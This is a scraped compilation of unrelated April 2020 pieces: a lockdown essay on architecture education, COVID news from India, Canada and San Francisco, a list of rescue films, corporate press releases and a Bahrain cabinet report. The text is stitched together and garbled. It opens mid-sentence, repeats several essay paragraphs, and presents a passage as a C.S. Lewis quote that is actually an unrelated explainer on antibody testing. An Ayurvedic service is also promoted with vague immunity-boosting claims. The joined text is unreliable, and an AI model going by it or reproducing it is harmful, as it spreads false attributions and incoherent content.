architecture education in the lockdown time, the instructions are more logistical (and rightfully required). In extension to that, it is wish and suggestion the COA capitalizes this time by initiating this urgent philosophical discourse among the teachers and students besides bringing along the practicing architects.As many from the field must have realized that architecture, on the one hand, is a non-essential to be stacked in the lockdown time and, on the other hand, a crucial essential where we are locked in. Most of us are locked in tight spaces in the flats designed by well know architects which are ironically neither sustainable nor so liveable built environments.We must realize that the architecture of the towns and cities needs to be bettered, as also aimed in the earlier millennium development goals and now the sustainable development goals, where most of the goals are in/directly linked to the our habitation. The lockdown time is that golden opportunity for retrospection as a fraternity and introspection as part of it, towards a more meaningful pedagogical direction to the architectural/planning education and profession for building Sustainable Cities and Communities ( SDG-11 ) in its true sense.We need not pretend that missing some weeks of education will be a fag resulting in a national catastrophe. Absolutely not! I do appreciate the efforts made by the teachers and the students in this co-learning process and the facilitation of it by the institutional mechanism and governance. Looking at all the efforts, I believe more that the lockdown came as that moment in everyones lives to retrospect and introspect some crucial aspects of learning-loving-living, that the conventional education could have stayed for a while. We will not lose any skills if the classes are a bit more relaxed, semester a bit longer with no assignments and exams, if the job starts a bit later for the graduates, and for that if the teachers/professional earn a bit lesser too. So why are we doing this to ourselves? Are we willing to realise this special moment as not normal? Why are we reluctant to retrospect and introspect a bit for ourselves and for the society, especially the way we are in social-economic-cultural-political-ecological distancing(s) already and those are heightening every day? However, education at large has been enslaving and that it is not normal too! For example, the architectural education fantasies a world of carnivalesque and promotes a narcissist approach to building and city designs where every teacher and student aspire rather live in the pretention of building timeless architecture. The realisation that innovations emerge from crisis and that timeless architecture is mostly a resultant of governance decision, needs time for retrospection as well as introspection. We shall take a pause to acknowledge that we are going through a special time, probably once in our life and therefore, we need not pretend that everything is normal and carryout the daily chores of teaching-learning (and even domestic) as normal. I write this article keeping architecture/planning profession and pedagogy in focus, but the matter of the fact is that this lockdown is that austere moment in all our lives, when we must get bored to the extent to figure out what do we like to do the most. I bet that if we can take time out to figure out what we like to do, our lives will be more meaningful and will in turn become more meaningful to the society we live in. If I could, I would really wish the teachers to take a step back first, to complete all the pending tasks they have in mind and then, use the remaining time to bring all their learning together and develop a pedagogical direction for the future growth of their as well as the teachings, one that brings science and society together, one that teaches us to design to live with nature and that makes us more concerned for people as well as cities. So what, if the buildings we design are not the most beautiful or has one or two windows/doors more or even less. So, what, if we do not get that name, fame and bank balance; we do not have that office, that signature building that world will be intimidated with (no building is perfect, so appreciation is always subjective). Let the architecture/planning education, teach first to be concerned, caring and compassionate, then learn a lot of common sense to remain close to nature (build less even if earn less), relearn to have a conscience to build sustainable habitats, and unlearn to be exclusive for appeasement of the some and reclusive for others. Let us prevent or prolong the death of architecture that is ongoing in the so called normal time. Let the post lockdown architecture/planning profession and pedagogy emerge as more ecologically sustainable, socially humane, and economically sufficient and importantly, let it be more inclusive of class, communal, color and creed. To do so, while learning from the masters works shall remain pertinent, we ought to learn from the mistakes too. Let architecture reemerge as a science that is based on common sense used more sensibly and sensitively instead of superficially and superfluously, with a lot more conscience for a sustainable human habitat. On the one hand, it overwhelms to find that the always unsung heroes, the teachers working persistently to achieve the planned curriculum in the stipulated time; on the other hand, it is ostentatious to not really explore the alternate possibilities of teaching-learning. So, if the teachers and students are acquiring new skills of interacting online on the subject matter, they are also identifying the issues in remote learning and realising the importance of the brick and bones and the interdependence in the physical form of institution. Hopefully, in the post lockdown they will enjoy being at the institution more than ever. Hope these virtues and the skills are going to remain in our memories for long time! Also hope that the fraternity engages in good science with conscience! This article is written so that the students realise the importance of teachers in their lives; and the teachers realise the big role they have in shaping the future of the society than the buildings; and the institutions realise that risks are crucial for innovations and this not a normal time be dealt with trust thrusted upon the teachers and the students. --- *Entrepreneur, researcher, educator and keen political observer, Dr Mansee Bal Bhargava is interested in learning and sharing. She is with the Environmental Design Consultants, Ahmedabad, as partner, and recently joined the Amity University Chhattisgarh, Raipur as professor Are we willing to relook at the buildings and cities we design and rethink innovative ways to revitalise the social-economic-cultural-political-ecological and then invest our emotional and educational energies in building a more caring and a compassionate society around us? It is understandable that pushing ourselves to remain normal as we perceive normalcy and also to not get stressed of this time is necessary.However, education at large has been enslaving and that it is not normal too! For example, the architectural education fantasies a world of carnivalesque and promotes a narcissist approach to building and city designs where every teacher and student aspire rather live in the pretention of building timeless architecture.The realisation that innovations emerge from crisis and that timeless architecture is mostly a resultant of governance decision, needs time for retrospection as well as introspection. We shall take a pause to acknowledge that we are going through a special time, probably once in our life and therefore, we need not pretend that everything is normal and carryout the daily chores of teaching-learning (and even domestic) as normal.I write this article keeping architecture/planning profession and pedagogy in focus, but the matter of the fact is that this lockdown is that austere moment in all our lives, when we must get bored to the extent to figure out what do we like to do the most. I bet that if we can take time out to figure out what we like to do, our lives will be more meaningful and will in turn become more meaningful to the society we live in.If I could, I would really wish the teachers to take a step back first, to complete all the pending tasks they have in mind and then, use the remaining time to bring all their learning together and develop a pedagogical direction for the future growth of their as well as the teachings, one that brings science and society together, one that teaches us to design to live with nature and that makes us more concerned for people as well as cities.So what, if the buildings we design are not the most beautiful or has one or two windows/doors more or even less. So, what, if we do not get that name, fame and bank balance; we do not have that office, that signature building that world will be intimidated with (no building is perfect, so appreciation is always subjective).Let the architecture/planning education, teach first to be concerned, caring and compassionate, then learn a lot of common sense to remain close to nature (build less even if earn less), relearn to have a conscience to build sustainable habitats, and unlearn to be exclusive for appeasement of the some and reclusive for others. I found that teaching and learning in this lockdown time is not much written. Dr Matthew Walz (Associate Professor of Philosophy at the University of Dallas) wrote a nice piece on April 2, 2020 on Teaching On Covid Time comparing with reference to the war period in 1939 when England declared war on Germany just when the Michaelmas term (September-December) was about to start.Events and disturbances like the covid-lockdown is one of its kind in most of our lives that we cannot ignore, however many believe that as far as teaching and learning are concerned the events and disturbances must not create new situation and things must go as normal. Since, humans desire to seek knowledge is continuum and is aggravated by the odds in the society hence, the life has never been normal. So, the question whether one should be dedicated to teaching and learning in the lockdown time may be pertinent but then one is ought to be dedicated other times too.Prof Walz, pulls out an important reference (from CS Lewiss of Oxford University sermon) on learning in war time and I quote: The second kind of test is serology, which detects the presence of antibodies to the virus in the bloodstream. Antibodies are evidence of the bodys reaction to an infection, of the fact that a person was previously infected; their presence might also suggest that the person is now immune to the virus. We say might and suggest, not prove, because the notion that immunity to SARS-CoV-2 can be acquired through infection is only, for now, an assumption based on past experience with other viruses. No scientific studies have confirmed this hypothesis yet. Scientists worldwide are working to determine if in the case of SARS-CoV-2, too, infection confers immunity, and if so, how effectively and for how long. But the first serological studies made public to date have been flawed or too easy to misinterpret. In a much-discussed study of 3,330 residents of Santa Clara County, Calif., conducted in early April, 2.5 percent to 4.2 percent of the subjects tested positive for antibodies to SARS-CoV-2 a finding suggesting that some 50 to 85 times more people in the community had been infected than the official figures stated. The study, which had not been peer-reviewed before publication, came under fire for various methodological flaws, including selection bias: Recruitment for the study was conducted via social media, and some subjects might have volunteered in order to get tested because they had reason to believe they had been infected. One question that debate has highlighted is whether a study conducted in a suspected hot spot of infection in Santa Clara County or anywhere can hope to say something useful about the population as a whole or any other group beyond its own subjects. Consider also this serological study conducted in the town of Gangelt, Germany: Some 15 percent of residents tested were found to have SARS-CoV-2 antibodies but the town was the site of a carnival thought to have been a super spreader of infection. As for the blood work itself, serological tests, like RT-PCR tests, have inherent limitations to do with accuracy. Even the most precise antibody tests dont produce neat, binary results. Measuring antibodies isnt like determining if a light has been switched on or off; its more like gauging the intensity of a bulb controlled by a rheostat. One example: In the early days of an infection, while a patients immune system is still revving up, their antibody levels might be too low to detect. Mumbai: A week ago, I tested positive for the novel coronavirus. In the weeks and days, even hours, before my test came back positive, I had been busy in my work as a photojournalist for Deccan Chronicle in Mumbai shooting, clicking pictures of Covid-19 patients, the facilities provided to them, migrant stuck in the megapolis, sealed buildings and isolation facilities being created at breathtaking pace. It was a shocking moment for me when my coronavirus report came positive on April 20. Id thought I was somehow immune to it all; I never thought I would have to go through the processes Id seen other patients go through. Four media photographer colleagues from my building were also found positive. We tried to calm each other down, even though inside I felt a coil of fear stirring. A few hours later, Brihanmumbai Municipal Corporation (BMC) officials informed us we would be shifted to the Goregaon Oyo Township Hotel. The next day, the nightmare became more real to us. We were served tea and poha for breakfast. Served is a strange word to use here, but somebody just kept the food outside my room and left. No one was ready to come close to us any more. A strong feeling of being abandoned grew in my mind. I called my wife several times to calm down. Thanks to help from some journalist friends, we were supposed to be taken to a better accommodation later. However, as per protocol, I was separated from the others. Since I was on medication for blood pressure, I needed to be kept under observation. As per guidelines, those who have tested positive for Covid-19 and suffering from any underlying condition like diabetes or high blood pressure are at greater risk of complications from coronavirus and are kept under greater scrutiny. As per protocol, BMC staff arranged an ambulance from Fern Hotel to Seven Hills Hospital in Marol, currently one of the largest Covid-19 treatment facilities in Mumbai. Since there were no beds available in the hospital, we were asked to wait till beds were arranged. However, it was taking too long. I called a close friend, a health journalist in a reputed newspaper, to help arrange a bed for me. With her help, I got a bed in a private wing of Seven Hills Hospital, run by Sir H.N. Reliance Foundation, which in collaboration with the BMC, is running 56 Covid-19 beds in SH Hospital, as part of corporate social responsibility and providing free treatment to all those admitted in the facility. From the vantage position of an isolated bed, I could see the fight against corona from within. A nurse came and asked about my health, which was unexpected after my earlier experience in a hotel room. Next morning at 5.30, I was tested for Covid-19, again. They checked my BP, ECG and took blood samples. At 7 am, I was served tea, and biscuits. At 8 am sharp, they served jam bread, dosa, chutney, watermelon pieces, and some more tea. Every day, they served different food and checked my ECG, BP. Thankfully, my BP was under control. As a photojournalist, I could not be a mute spectator in the battle against Covid-19 taking place in the hospital. I started talking with doctors, nurses, and ward boys. Their conviction to fight Covid truly amazed me. I asked one of them: are you not scared of corona? They said it is for the country that they are fighting the battle. The hospital staff was given personal protection equipment (PPE). There was a line drawn to demarcate the corona and non-corona area. Every two hours, nurses inquired about my health and if I needed anything. Ward boys too were helpful and doctors were available on the phone. I am indebted to all the hospital staff for the service and care they provided me. Then came a piece of positive news. I tested negative for corona and was ready to be discharged. When I was preparing to leave the room, the hospital staff was ready to say goodbye. They took photos and videos with me. They even gave a message through video to all people that they are warriors against corona and wont give up easily. The only little help they need from all of us people is to stay safe in our houses and not venture out. My bag was sanitised before leaving the hospital. The staff began clapping and cheering for me when I left. A real morale-boosting moment, when I realised I had a tryst with the monster, and had come out victorious. But would forever be in debt of those who are protecting and curing us. Two videos showing people at a coronavirus quarantine facility in Agra scrambling to get tea, biscuits and water through locked gates went viral on the internet Two videos showing people admitted at a coronavirus quarantine facility in Agra scrambling to get tea, biscuits and water through locked gates went viral on the internet. The 25-second-long video was reportedly shot at Agras Hindustan College, in which a man in protective gear is seen throwing biscuit packets close to the gate and water bottles are lying too. A crowd of inmates is also seen gathered at the gate to reach out for these essentials, flouting the social distancing guidelines. In one of the videos, a woman who claims to be one of the inmates at the facility, a college taken over by the Agra administration, is heard saying that they were summoned under the pretext of a medical check-up. And then you blame those who want to escape quarantine - quarantined fed shabbily in agra ..@pranshumisraa pic.twitter.com/oZ0ALW19li pallavi ghosh (@_pallavighosh) April 26, 2020 The video surfaced online after the Centre hailed the Agra model to contain coronavirus cases and directed other states to follow it. In response to the videos, district magistrate Prabhu Narayan Singh told News18 that he had gone to inspect the centre and all arrangement have been taken care of now. The Chief Development Officer has been asked to investigate the matter and to fix responsibility as there was a separate team formed to handle this task. The team has been asked to work properly and to ensure that such complaints are not received again, he said. This is a #Covid_19india quarantine centre in Agra , UP . These visuals depict a scramble for essential supplies from behind the locked gates . Social distancing , and even basic human dignity seem to be out of the picture here .... agra has the maximum Covid + cases in UP ... pic.twitter.com/O1FxdQn6tS Alok Pandey (@alok_pandey) April 26, 2020 Additional Chief Secretary (Home) Awanish Kumar Awasthi told The Indian Express that the District Magistrate has ordered an inquiry into the incident. There was a slight delay in distributing the food, that is why those staying at the quarantine centre became somewhat restless, he said. Earlier on 21 April, Agra mayor Naveen Jain said he had written to Chief Minister Yogi Adityanath about the worsening situation of the city and the fear that Agra will become another Wuhan. Until Sunday evening, Agra had reported 372 cases and 10 deaths. Coronavirus Cases in India: Total cases rise to 28,380 with deaths 886 so far, Recovery rate stands at 22.17% today New Delhi, Mon, 27 Apr 2020 Sangita Roy Total cases of Coronavirus rises to 28,380 today in India, while 886 patients died so far due to deadly Covid-19 infection. India is currently under country wide lockdown which is ending on May 3, but it expected to be extended due to current situation in the country. The final decision will be taken by Government in due course of time by consulting with the state chiefs. Prime Minister Narendra Modi today, interacted with the chief ministers of the state through video conference. The meeting has been organized to next move in Indias battle plan against Covid-19. Some states including Delhi is in favor of extending the lockdown to fight against Covid-19 as there is only way of fighting with Covid-19 and it is the social distancing. PM Modi interacted with the state chief ministers today over video conference, PM Modi stressed the use of face masks and face covers and said that the effect of coronavirus will remain visible for months in the country, India is under second phase of 40-day lockdown and this week is the final week. There is still no final decision about the extension of lockdown further, but Government will take decision soon based on the requests from the state chief ministers. In Delhi coronavirus cases are already touching to 3,000 and Delhi Chief Minister Arvind Kejriwal already in favor of extension of lockdown in Delhi. The total active cases in India are 21,132 with 77 foreign nationals being treated in country, the health ministry said today. Good news is that over 6,361 patients have been discharged or cured from the deadly virus in the country. According to Lav Aggrawal, Joint Secretary, Ministry of Health, the recovery rate increased in country to 22.17% today. He also added, "16 districts in the country which earlier had cases have not reported any fresh cases since last 28 days while 85 districts have not reported any new cases in the last 14 days." On plasma treatment, Lav Aggrawal said "We've to understand that there is no risk of transmission from recovered patients. They, in fact, can be a potential source of healing for antibodies using plasma therapy. The Indian Council of Medical Research (ICMR) issued a revised advisory to state governments advising the to stop using Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics kits. Government asked state to return Diagnostics kits to be sent back to Guangzhou Wondfo Biotech and Zhuhai Livzon. Currently Maharashtra is the worst hit state where total cases rises to 8,068, followed by Gujarat with 3,301 cases, Delhi with 2,918 cases and Rajasthan with 2,185 cases. Andhra Pradesh became the fifth state with over 1,000 cases. State wise Covid-19 cases in India: Andaman and Nicobar Islands - 33 Andhra Pradesh - 1177 Arunachal Pradesh - 1 Assam - 36 Bihar - 277 Chandigarh - 30 Chhattisgarh - 37 Delhi - 2918 Goa - 7 Gujarat - 3301 Haryana - 289 Himachal Pradesh - 40 Jammu and Kashmir - 523 Jharkhand -82 Karnataka - 511 Kerala - 469 Ladakh - 20 Madhya Pradesh - 2168 Maharashtra - 8068 Manipur - 2 Meghalaya - 12 Mizoram - 1 Odisha - 108 Puducherry - 8 Punjab - 313 Rajasthan - 2185 Tamil Nadu - 1885 Telangana - 1002 Tripura - 2 Uttarakhand - 51 Uttar Pradesh - 1955 West Bengal - 649 During video conferencing with state chiefs, Prime Minister Narendra Modi said that the efforts of states should be directed towards converting the red zones into orange and thereafter to green zones". Global Covid-19 confirmed cases rises to 3,002,303 with more than 208,131 deaths so far. United States is most affected country with 972,969 confirmed cases and 55,118 deaths. The current outbreak of Coronavirus is originated from the Wuhan city of China where more than 4,000 people died. As of now there are only few cases of Covid-19 in China, while all new cases are imported. As of now there are no vaccines or medicine for against deadly Coronavirus and it will take over a year to come with the vaccine. World's First Ayurvedic Only Telemedicine Service Launched Bengaluru based Ayurveda company, TotalAyurvedaCare.com recently launched a novel telemedicine platform that blends traditional Ayurvedic practices with modern technology, giving patients face-to-face interactions with Ayurvedic doctors. Through the website, patients can book an appointment with a doctor and receive a consultation. Following this consultation, the doctor will prescribe Ayurvedic medicines and provide nutritional advice. Ed Lateef, Founder and CEO of TotalAyurvedaCare.com said, COVID-19 has brought many unexpected changes to our lives, especially in the healthcare sectors where patients are now asked not to visit hospitals or doctors clinics unless it is a dire emergency. While social distancing and hand washing are some of the keys to containing the spread of the Virus, we realized that boosting one's immunity plays a very vital role in keeping healthy. Our Telemedicine portal is ideal as patients can have access to Ayurvedic doctors at the comfort of their homes while minimizing risk to both patient and doctor. TotalAyurvedaCares objective is to increase accessibility of Ayurvedic treatments, with the streamlined website allowing patients to register for online consultation easily. Volunteer Lauren Captain folds and packs disposable protective gowns at Polar Shades Sun Control to help Las Vegas-area health care workers and first responders fighting the coronavirus in Las Vegas on April 14, 2020. (Ethan Miller/Getty Images) Canadian Doctors See Little Improvement in PPE Supply The Canadian Medical Association has called for greater government transparency about the available supply of protective equipment in light of a new survey that suggests most respondents have seen no improvements in the last month. Getting vital personal protective equipment, or PPE, to guard themselves against the virus has been a struggle for doctors across the country during the COVID-19 pandemic. A recent survey of nearly 2,500 doctors across Canada found 42 percent had seen no change in the supply of gear such as masks and face shields in the last month, while 29 percent felt the supply is now worse. A worker wearing a protective suit holds masks to package at Naton Medical Group, a company which makes medical equipment in Beijing, on April 24, 2020. (Wang Zhao/AFP via Getty Images) On the flip side, 22 percent say theres been some improvement to the PPE supply, but only 6 percent say its been a significant change. Its the second survey of its kind the CMA has done since the pandemic began. The first survey captured doctors responses at the end of March, while this latest one is from April 20 and 21. We thought it might be better but, similar to the previous survey, a third of physicians were still fearful they were going to run out of PPE in a matter of days, said CMA president Dr. Sandy Buchman. The concerns were slightly more pronounced among community physicians compared to those who practice in hospitals, he said, which aligns with what hes heard from members anecdotally. A machinist sews a gown at shirtmaker McNair, who have changed production to making gowns to combat the CCP virus pandemic in northern England, on April 17. (Oli Scarff/AFP via Getty Images) Doctors in Saskatchewan seemed to feel most strongly that the PPE supply had deteriorated in the last three weeks, with 45 percent describing the situation as worse. The uncertainty about the strained supply of PPE has been adding to worries around the pandemic, Buchman said, with about 96 percent of physicians surveyed saying they were experiencing some level of anxiety. Doctors are worried about becoming vectors of the virus and transmitting it to patients, getting sick themselves or, perhaps worst of all, passing it on to their own loved ones, Buchman said. The vast majority, 88 percent, said a greater supply of PPE would reduce their anxiety during the pandemic, and 68 percent said having more information would help. Workers in a factory, wearing surgical masks and face shields due to the CCP virus pandemic, produce gowns and other protective gear to be used by paramedics and first responders, in the city of Berrechid, south of Casablanca, Morocco, on April 16, 2020. (Fadel Senna/AFP via Getty Images) The federal government has provided public briefings about its ongoing orders for more masks, gowns, gloves, and other protective equipment from a highly competitive market abroad, as well as efforts to retool domestic production. Buchman said he believes the government is working incredibly hard to acquire whats needed to fight COVID-19, but specific information about when those supplies will reach individual hospitals and practices has been lacking. Its somehow not getting down to the grassroots, he said. Clear information about where the supplies are going, who will get themand whenwould go a long way to easing doctors anxieties, he said. The survey did show some minor improvements. Across the country, 33 percent of those who responded to the latest survey said they would have enough surgical masks to last at least 10 days, compared to only 20 percent three weeks ago. Doctors reported similar improvements for supplies of gloves, gowns, face shields, and N95 respirators. A majority of doctors, 83 percent, said increasing the level of testing for the virus would also allay their anxieties. By Laura Osman Say what you will, but Chris Hemsworths Extraction is one cracker of a film. The internet is genuinely unable to stop talking about the film. The reason why we all love the film and cannot seem to get enough of it, is the sheer manner in which films based on rescue operations make us cling to the edge of our seats - the genre itself is anxiety-inducing. Netflix That got us thinking, what are some other rescue op films that were as good as Extraction. Well, it turns out there are tons actually. However, we pick our favourite 5. Saving Private Ryan, 1998 You had to see this coming. Saving Private Ryan was not just a cult classic, it was a masterpiece. It had some stellar performances by Edward Burns and Matt Damon, but the highlight of the film, Tom Hanks, just stole the show. And can you really forget that monologue that Damon delivered, once he was rescued? Smithsonian Although the manner in which Hollywood does World War II films is problematic, in the sense they take a lot of artistic liberties, and often twist the real incident beyond recognition, the cinematography in Saving Private Ryan and direction was powerful and poignant. What else can you expect from someone like Steven Spielberg? Is it any wonder that it is a part of the curriculum in a number of film making institutes all over the world. And do we need to remind you of the furore when it lost out on an Oscar for best film? Dunkirk, 2017 I will be the first one to say that Dunkirk certainly does not represent the abilities that Christopher Nolan has, and what his fans have come to expect of him. However, as a rescue op, and as a war film, it certainly is one of the best. As audiences, you genuinely feel the uncertainty that comes to mind when your survival is at risk, and a gruesome and brutal death is all but certain. Smithsonian The beauty of the film lies in the performances that Nolan has extracted out of actors like Tom Hardy, Cillian Murphy, Barry Keoghan and of all people, Harry Styles. And of course, there is Nolans technical skills, which makes the cinematic experience a joy to behold, no matter how gruesome the scene is. Captain Phillips, 2013 Yet another film that captures the paralysing anxiety of rescue operation that can go horribly wrong. Tom Hanks, very effortlessly, conveyed what the real Richard Phillips must have had to go through for those 5-7 days when he was held captive by Somali Pirates. Reuters Even though pretty much the entire world knew what had actually happened on the Maersk Alabama, the ship that Captain Richard Phillips was commanding, the filmmakers and the actors were able to tie them up in suspense. Truly, the hallmark of a great film. Argo, 12 Now, there were a lot things wrong with the film, especially some of the dialogues that we heard Ben Affleck speak, and again, the misrepresentation of certain key facts that the film was accused of. However, the real-life incident, as well as the film were so fantastically bonkers that we had to include it in the list. AFP Imagine you are stuck in a hostile country, that wants to kill you, and your government sends in your rescuer who pretends to be film executive from some other country who wants to make a film on a fictional character in the hostile land. Sounds unbelievable, right? Well, watch the film and see how they actually made it quite believable. 13 Hours: The Secret Soldiers of Benghazi, 2016 And finally, we have 13 Hours: The Secret Soldiers of Benghazi or simply 13 Hours. John Krasinski is surely shaping up to be one of the best action stars that we get to see in Hollywood and in 13 Hours you get to see where exactly things started turning for The Office star. AFP Yes, the film is a little cliched and formulaic when it comes to your rescue/survival op films, but whatever it does within the box, it does it right. There filming and the storytelling is fast-paced and you actually dont get a single slow moment. A definite must-watch, if you ask us. (TNS) The mayor of San Francisco says the city is still struggling to get adequate medical equipment to battle coronavirus, including masks, gloves, face shields and gowns.The buying isnt the issue Mayor London Breed said the city had been able to purchase 15 million pieces of the medical gear, known as personal protective equipment, and private companies have donated more.But getting the equipment has been challenging, she said at a news conference Friday.We had isolation gowns on the way to San Francisco and then diverted to France, she said. Another order of equipment went through customs and then was confiscated by the Federal Emergency Management Agency for other places.The city also has had equipment go through customs, Breed said, only to have it taken and put on the market for the highest bidder.That at the height of this pandemic we are still having a conversation about PPE really does blow my mind, she said. There has been nothing that has been more frustrating.Meanwhile, San Franciscos director of public health said Friday that about 10% of the citys positive coronavirus cases were homeless people or those living in single-room-occupancy hotels.Dr. Grant Colfax, speaking at the news conference with Breed and other city officials, said the city continued to respond to occasional positive cases in its homeless shelters by doing testing, deep cleaning and moving residents into hotels leased by the city.At long-term-care facilities in the city, 113 people have been infected with the virus, he said. He did not know the number of deaths.He said experts from the state and the U.S. Centers for Disease Control and Prevention were working with these nursing homes to stem the pace of infections. The citys Department of Public Health also checks in with the homes once a week to provide advice and protective equipment.The city successfully stemmed an early outbreak of coronavirus infection at Laguna Honda Hospital, one of the largest skilled nursing facilities in the nation, but Colfax said new infections may occur.Testing showed that five staff members and four residents at Laguna Honda were positive for the virus. All are in good condition, Colfax said, and there has not been another positive case since April 7.2020 Los Angeles TimesVisit the Los Angeles Times at www.latimes.com Distributed by Tribune Content Agency, LLC. PHOTO (for help with images, contact 312-222-4194): LONDON BREED PR-Inside.com: 2020-04-28 18:20:34 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 828 Words ACCESSWIRE News Network888.952.4446 SHENZHEN, CHINA / ACCESSWIRE / April 28, 2020 / On March 17, 2020, GSMA released Powered by SA, a collection of five use cases for 5G SA-driven applications. The Qingdao Smart Grid use case jointly proposed by Huawei and China Telecom is selected as the only one focused on industrial energy in the collection. This use case highlights the value of key 5G technologies, including 5G SA networking, edge computing, and network slicing, and shows Huawei's leadership in 5G development to enable digital transformation of various industries.4G changes lives, whereas 5G changes society. The traditional one-pipe, best-effort 4G networks cannot fully meet the diversifying service requirements from different industries. In the 5G era, carriers need to build virtual dedicated end-to-end networks based on a unified network infrastructure to provide differentiated network capabilities and a deterministic service experience. In addition, they need to leverage different 5G technologies to tailor networks for different industries. Among key 5G technologies, network slicing lays a solid foundation for digital transformation for thousands of industries.Digital transformation of the electric power industry requires electric power communication networks that are ubiquitous, flexible, economical, secure, and reliable. This can be achieved by leveraging the three innate features of 5G - enhanced mobile broadband (eMBB), massive machine-type communications (mMTC), and ultra-reliable low-latency communication (URLLC) - and can be empowered by innovative technologies such as network slicing and edge computing. Huawei proposes to build dedicated 5G virtual networks for the electric power industry, and utilizes different technologies for the power distribution/consumption phase and the power generation/transformation phase. In the power distribution and consumption phases, a high number of scattered network nodes are involved, and full network coverage is required through these phases. Insufficient coverage has become the bottleneck for developing a smart grid. To mitigate this pain point, Huawei adopts network slicing to build a dedicated industry WAN as a supplement to the traditional optical dedicated network to create more connections. For the power generation and transformation phases - which only require network coverage in specific areas - Huawei uses MEC to build a campus-dedicated network on which local breakout is implemented to ensure data security and the MEC enables ubiquitous last-mile service access.In August 2019, Huawei signed a 5G strategic collaboration agreement with Qingdao Branch of China Telecom and Qingdao Power Supply Company of State Grid Corporation of China (SGCC). In October, the three parties collectively launched China's largest 5G smart grid experimental network in Qingdao. Two sets of power grid dedicated MEC and more than 30 base stations have been deployed in four areas for demonstration, including Laoshan Jinjialing, Olympic Sailing Center, Power Distribution Building, and West Coast Guzhenkou. Huawei has continuously conducted a series of innovative practices and field tests in various 5G network slicing-based scenarios. The 5G network slicing-based substation power distribution sensing system was deployed to provide 5G + power protection for the 2019 Qingdao Multinationals Summit. The industry's first field tests for intelligent distributed feeder automation and longitudinal differential protection services have been completed.Qingdao 5G+ Smart Grid uses Huawei's 5G SA construction solution from end to end and is the first in the industry to introduce Huawei's innovative 5G fully-automatic, multi-dimensional dynamic slicing solution that surpasses other slicing solutions. Huawei's slicing solution enables:Accelerated slicing: The fully automatic and programmable pipeline engine enables deployment of slices within minutes.Refined slicing: Power grid slices are delivered through intelligent modeling from multiple dimensions (such as users, services, or network capabilities) as well as microservice-level orchestration of network capabilities.Accurate slicing: The implementation of second-level SLA awareness and AI-based closed-loop optimization helps deliver deterministic electric power services.Qingdao Smart Grid also introduces Huawei's 5G MEC solution, which highlights ubiquitous connectivity and powerful computing capabilities. In addition to deterministic low latency, the MEC platform is applicable for various power grid applications and can effectively integrate these applications into 5G slicing networks, driving optimal cloud-network synergy at the network edge. The MEC platform can also provide value-added capabilities for power grid applications, such as assurance of bandwidth, management of life cycles, and balancing of service loads.With the collaboration of the three parties, the Qingdao 5G+ Smart Grid project has made remarkable achievements. In November 2019, the project won first prize in the Shandong Mobile Internet and 5G Application Innovation Competition. The project is written as a typical industry case in the 5GDN Industry White Paper jointly released by Huawei, China Academy of Information and Communications Technology (CAICT), China Mobile, China Telecom, and China Unicom in February 2020. GSMA's case selection further reflects the significance of the project, and sets a benchmark for 5G smart grids and power slices worldwide.As 5G networks became more prevalent and industry preparation increases, the pilot of the Qingdao 5G+ Smart Grid project will expand. Huawei will extensively verify an increasing number of typical 5G smart grid applications, and will continue to promote the maturity and commercial use of 5G smart grids in terms of technology, business, and industries.-End-Contact:Raymond ChouSOURCE: Huawei PR-Inside.com: 2020-04-28 22:10:29 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 401 Words ACCESSWIRE News Network888.952.4446 WINNIPEG, MANITOBA / ACCESSWIRE / April 28, 2020 / Winston Gold Corp. ("Winston Gold" or the "Corporation") (CSE:WGC) (OTCQB:WGMCF) announces the closing of a non-brokered private placement (the "Private Placement") consisting of 20,885,275 units (the "Units" ) at a purchase price of $0.08 per Unit to raise gross proceeds of $1,670,822.Each Unit consists of one common share (a "Share" ) in the share capital of the Corporation and one share purchase warrant (a "Warrant" ). Each full Warrant will entitle the holder to purchase one additional Share in the share capital of the Corporation for a period of 5 years, at an exercise price of $0.12 per Share.All securities issued in connection with the Private Placement are subject to a statutory hold period of four months plus a day from the date of issuance in accordance with applicable securities legislation. A finder's fee of $1,920 was paid in connection with the Private Placement.Insiders of the Corporation subscribed for an aggregate of 9,090,910 Units for gross proceeds of $727,272.80 under the Private Placement (the "Insider Subscriptions"). The Insider Subscriptions constitute "related party transactions" within the meaning of Multilateral Instrument 61-101 - Protection of Minority Securityholders in Special Transactions ("MI 61-101"). The Corporation has relied on the exemptions from the formal valuation and minority shareholder approval requirements of MI 61-101 contained in Sections 5.5(a) and 5.7(1)(a), respectively, of MI 61-101 in respect of the Insider Subscriptions.The net proceeds from the Private Placement will be used for general corporate purposes and to advance the Winston gold project near Helena Montana.In addition, the board of directors of the Corporation has granted a total 4,250,000 incentive stock options to certain directors and consultants of the Corporation to purchase a total of 4,250,000 common shares at an exercise price of $0.10. The options expire on April 28, 2025.About Winston GoldWinston Gold is a junior mining company focused on advancing high-grade, low cost mining opportunities into production. Towards that end, the Corporation has acquired an underexplored and under-exploited gold/silver mining opportunity, being the Winston Gold project near Helena, Montana.ON BEHALF OF THE BOARD OF DIRECTORS OF THE CORPORATIONFor further information, please contactMurray Nye, Chief Executive OfficerSuite 201-919 Notre Dame Avenue, Winnipeg, Manitoba, R3E 0M8 CanadaTelephone: (204) 989-2434 E-mail: murray@ winstongold.com The CSE has neither approved nor disapproved the information contained herein.SOURCE: Winston Gold Corp. TDT | Manama Bahraini workers have played a vital role in building and advancing the nation, His Royal Highness the Prime Minister Prince Khalifa bin Salman Al Khalifa said yesterday. HRH the Premier lauded their contributions to the Kingdoms development process and praised their efforts, as well as those of trade unions, to improve the work environment and maintain the labour gains attained during His Majesty King Hamad bin Isa Al Khalifas prosperous era. HRH the Prime Minister said this as he chaired yesterday the weekly Cabinet session, held remotely, and attended by His Royal Highness Prince Salman bin Hamad Al Khalifa, Crown Prince, Deputy Supreme Commander and First Deputy Premier. Stimulus package to benefit more segments At the meeting, the Cabinet decided to allocate two portfolios to support taxi drivers and driving instructors amidst the current situation resulting from the outbreak of the coronavirus (COVID-19). The move is in line with the order of HRH the Premier and the directives of HRH the Crown Prince on increasing the number of beneficiaries from the economic stimulus package by taking advantage of the financing programmes of the Labour Fund (Tamkeen) to support some segments that have been affected by the COVID-19 crisis. Under the first portfolio, amounts not exceeding BD300 will be paid to 950 taxi and bus drivers for three months. In the second portfolio, 829 driving instructors, who do not have commercial registrations or receive a pension, will be entitled to the same amount, also for three months. Meanwhile, the Cabinet 